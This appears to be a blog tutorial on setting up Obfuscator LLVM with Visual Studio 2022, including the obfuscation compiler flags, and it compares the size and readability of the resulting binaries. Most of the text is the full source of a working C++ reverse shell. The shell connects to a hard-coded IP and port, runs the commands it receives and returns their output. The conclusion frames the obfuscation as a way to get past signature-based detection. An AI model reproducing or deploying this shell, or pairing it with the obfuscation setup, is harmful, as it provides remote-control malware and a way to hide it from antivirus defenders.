Low Level Virtual Machine (LLVM) is a collection of compiler and toolchain technologies. A number of projects such as the Clang compiler use LLVM as a back-end for compilation.
Obfuscator LLVM is an open source project, which unsurprisingly uses LLVM to produce heavily obfuscated code. This article will provide the steps required to build LLVM Obfuscator from source, and integrate it with Visual Studio 2022.
Setting up Visual Studio 2022
Ensure the following Visual Studio components are installed:
- Under Workloads: Desktop Development with C++
- Clang Compiler for Windows
- MSBuild support for LLVM (clang-cl) toolset
Compiling Software with Obfuscator LLVM
First, download Obfuscator LLVM from the below URL and copy the clang-cl.exe executable to a directory.
https://github.com/wwh1004/ollvm-16/releases/tag/llvm-16
Create a Visual Studio C++ project. In the project properties, set the Platform Toolset to LLVM (clang-cl).
Ensure the location where we put the clang-cl executable is included the in Executable Directories.
Ensure the following is included in command line options:
-D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH -mllvm -bcf -mllvm -bcf_prob=73 -mllvm -bcf_loop=1 -mllvm -sub -mllvm -sub_loop=5 -mllvm -fla -mllvm -split_num=5 -mllvm -aesSeed=1234BEEFDEAD1234DEADBEEFDEAD1234
Testing
Let’s use a simple C++ reverse shell to demonstrate the impact of obfuscating our source code.
#include <iostream>
#include <WS2tcpip.h>
#include <string>
#include <stdexcept>
#pragma comment(lib, "Ws2_32.lib")
SOCKET connectToHost(const std::string& ip, int port) {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
throw std::runtime_error("WSAStartup failed");
}
SOCKET wSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (wSock == INVALID_SOCKET) {
throw std::runtime_error("Failed to create socket");
}
sockaddr_in hax;
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
inet_pton(AF_INET, ip.c_str(), &hax.sin_addr);
if (connect(wSock, reinterpret_cast<sockaddr*>(&hax), sizeof(hax)) == SOCKET_ERROR) {
closesocket(wSock);
throw std::runtime_error("Failed to connect");
}
return wSock;
}
void shell(SOCKET sock) {
char recvbuf[4096];
int recvbuflen = 4096;
int iResult;
do {
iResult = recv(sock, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = '\0';
std::string command = recvbuf;
std::string result = "";
// Execute command
FILE* pipe = _popen(command.c_str(), "r");
if (!pipe) {
result = "Error: Command execution failed";
}
else {
char buffer[128];
while (!feof(pipe)) {
if (fgets(buffer, 128, pipe) != NULL)
result += buffer;
}
_pclose(pipe);
}
// Send result back
send(sock, result.c_str(), result.length(), 0);
}
else if (iResult == 0) {
std::cout << "Connection closed by host." << std::endl;
}
else {
std::cerr << "recv failed: " << WSAGetLastError() << std::endl;
}
} while (iResult > 0);
}
int main() {
std::string ip = "192.168.1.82";
int port = 8000;
try {
SOCKET sock = connectToHost(ip, port);
shell(sock);
closesocket(sock);
}
catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << std::endl;
return 1;
}
return 0;
}
The LLVM produced executable is 1,886KB, and heavily obfuscated:
In comparison, the executable produced by Visual Studio’s default compiler comes out as 19KB and results in a fairly easy to understand assembly code:
In Conclusion
This gives a brief tutorial on how to get LLVM Obfuscator working with Visual Studio 2022. LLVM isn’t a silver bullet in terms of signature based detection, and does come at the expense of very large executables.